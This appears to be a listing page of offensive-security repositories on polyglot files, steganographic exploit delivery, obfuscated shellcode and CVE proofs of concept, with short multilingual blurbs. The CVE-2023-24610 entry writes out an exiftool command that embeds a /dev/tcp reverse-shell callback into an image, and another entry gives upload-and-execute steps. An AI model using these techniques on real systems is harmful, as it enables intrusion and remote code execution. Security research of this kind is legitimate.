Payload-and-Polyglot-Lists

Payload & Polyglot Lists Found a payload that doesn't work? Please open an issue with the payload, target context, and what you expected to happen. Pull requests with fixes or new payloads are always welcome. Research is ongoing. This project is under active development and will be updated...

XanXSS

XanXSS XanXSS is a reflected XSS searching tool DOM coming soon that creates payloads based from templates. Unlike other XSS scanners that just run through a list of payloads. XanXSS tries to make the payload unidentifiable, for example: /cLIcKMe!XaNxss With XanXSS every payload is different...

PyStegosploit

PyStegosploit - Exploit Delivery via Steganography and Polyglots video1 | video2 | page by Charmve - yidazhang1 at gmaildotcom, @Charmve @therealsaumil @amichael May 2021 Stegosploit creates a new way to encode "drive-by" browser exploits and deliver them through image files. These payloads are...

BobTheSmuggler

BobTheSmuggler Quick Update Jan 15th, 2024 -Support for multi-file compression has been added. If you have multiple files generated for your final payload e.g., DLL-Sideloading files or multi-stage delivery files, you can now use the '-i' option to specify the directory path. If a directory path ...

pixload

pixload -- Image Payload Creating tools DESCRIPTION Set of tools for hiding backdoors creating/injecting payload into images. The following image types are currently supported: BMP, GIF, JPG, PNG, WebP. about Useful references for better understanding of pixload and its use-cases: Bypassing CSP...

tweetable-polyglot-png

tweetable-polyglot-png Pack up to 3MB of data into a tweetable PNG polyglot file. See it in action here: https://twitter.com/David3141593/status/1371974874856587268 Other image hosts I've verified this technique to work on: Imgur https://i.imgur.com/kNhGrN3.png Github repo thumbnail/header image...

SNOWCRASH

SNOWCRASH A polyglot payload generator Introduction SNOWCRASH creates a script that can be launched on both Linux and Windows machines. Payload selected by the user in this case combined Bash and Powershell code is embedded into a single polyglot template, which is platform-agnostic. There are fe...

powerglot

Powerglot Powerglot encode plusieurs types de scripts en utilisant des polyglottes, par exemple, des scripts PowerShell offensifs. Il n'est pas nécessaire d'avoir un chargeur pour exécuter la charge utile. Dans les exercices d'équipe rouge ou les tâches offensives, le masquage des charges utiles...

CVE-2023-24610

CVE-2023-24610 Ceci est une preuve de concept pour CVE-2023-24610 Nous commençons par créer un fichier polyglotte en utilisant exiftool : exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Nous changeons le fichier en png pour qu'il passe la vérification front-end Après cela...

polyshell

PolyShell : un polyglotte Bash/Batch/PowerShell Ce que c'est PolyShell est un script valide simultanément en Bash, Windows Batch et PowerShell c'est-à-dire un polyglotte. Cela fait de PolyShell un modèle utile pour les tests de pénétration, car il peut être exécuté sur la plupart des systèmes san...

EXPLOIT-CVE-2025-27515

Preuve de concept de CVE-2025-27515 Une démonstration pratique de CVE-2025-27515 , une vulnérabilité de contournement de validation d'upload de fichiers dans le Framework Laravel ≤ 12.0.0. Aperçu de la vulnérabilité CVE-2025-27515 est un contournement de validation qui permet aux attaquants de...

bad-dicom

Bad-DICOM PoC de mon outil d'exploitation artisanal pour CVE-2019-11687. J'ai conçu ce PEDICOM comme preuve de concept pour mon projet de fin d'études : "Détection et prévention des attaques basées sur les vulnérabilités des fichiers DICOM contre les services de gestion médicale ". Qu'est-ce qu'u...

DKMC

Don't Kill My Cat DKMC WINDOWS 10 now limit the shellcode payload from running properly due to the need of a RWX page to decode and execute the shellcode. DKMC can be update the set a memory page with properly permission. Don't kill my cat is a tool that generates obfuscated shellcode that is...

dompdf-rce

RCE-эксплойт для dompdf Этот репозиторий содержит уязвимое демо-приложение, использующее dompdf 1.2.0, и эксплойт, который достигает удалённого выполнения кода через polyglot-файл ttf+php. Более подробную информацию см. на https://positive.security/blog/dompdf-rce Инструкции 1. Запустите...

CVE-2023-47129

CVE-2023-47129 - Statamic CMS versions " image.jpg 4 Renommez ce fichier en image.php. 5 Sur la page du formulaire, téléchargez le fichier image.php créé. 6 Maintenant, pour exécuter ce fichier, accédez simplement à https://yoursite.com/assets/image.php Remarque : remplacezhttps://yoursite.com pa...

EUVD-2026-89995

Joomla Extension - ordasoft.com - Unauthenticated Remote Code Execution in OrdaSoft Joomla CCK 8.3.16 - site/uploader.php is reached through the component’s normal frontend routing task=getContent, a task with no authentication or ACL check anywhere in the dispatch chain. The handler validates th...

PT-2026-103328

Name of the Vulnerable Software and Affected Versions OrdaSoft Joomla CCK versions prior to 8.3.16 Description An unauthenticated remote code execution issue exists in the site/uploader.php endpoint, which is accessible via the getContent task. The system fails to perform authentication or Access...

CVE-2025-58440

CVE-2025-58440 Exécution de code à distance RCE via attaque par fichier polyglotte et injection d'octet nul sur Laravel FileManager Vue d'ensemble Les versions 2.11 du package unisharp/laravel-filemanager sont vulnérables à l'exécution de code à distance RCE en raison d'une validation inapproprié...

gitgalaxy

GitGalaxy Repository-scale structural intelligence without compilation. Docs · Visualizer · Language Crucible · Keyword Rosetta · Raw Output 1 scan · 97 structural signals · 50+ languages · no compilation · 17 risk-exposure categories · 6 outputs The short version GitGalaxy builds a...

CVE-2025-64512-Polyglot-PoC

CVE-2025-64512 Charge utile polyglotte Au cours des dernières semaines en novembre 2025, une vulnérabilité intéressante CVE-2025-64512 a été divulguée dans pdfminer.six, un projet Python populaire pour traiter les fichiers PDF, utilisé notamment dans les pipelines d'IA. La vulnérabilité permet un...